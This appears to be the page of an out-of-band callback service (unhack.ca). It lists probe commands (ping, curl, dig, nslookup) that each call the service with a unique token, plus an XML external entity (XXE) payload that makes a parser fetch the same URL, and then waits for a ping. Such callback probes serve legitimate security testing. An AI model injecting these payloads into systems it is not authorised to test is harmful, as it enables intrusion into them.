$ ping -c1 -p 00c11159974527dffd691c87ab5cec00 unhack.ca
 
$ curl http://unhack.ca/p/c11159974527dffd691c87ab5cec
 
$ dig c11159974527dffd691c87ab5cec @unhack.ca
 
$ dig c11159974527dffd691c87ab5cec.ns.unhack.ca
 
C:\> nslookup c11159974527dffd691c87ab5cec unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/c11159974527dffd691c87ab5cec">]>
    <foo>&xxe;</foo>
Waiting for ping...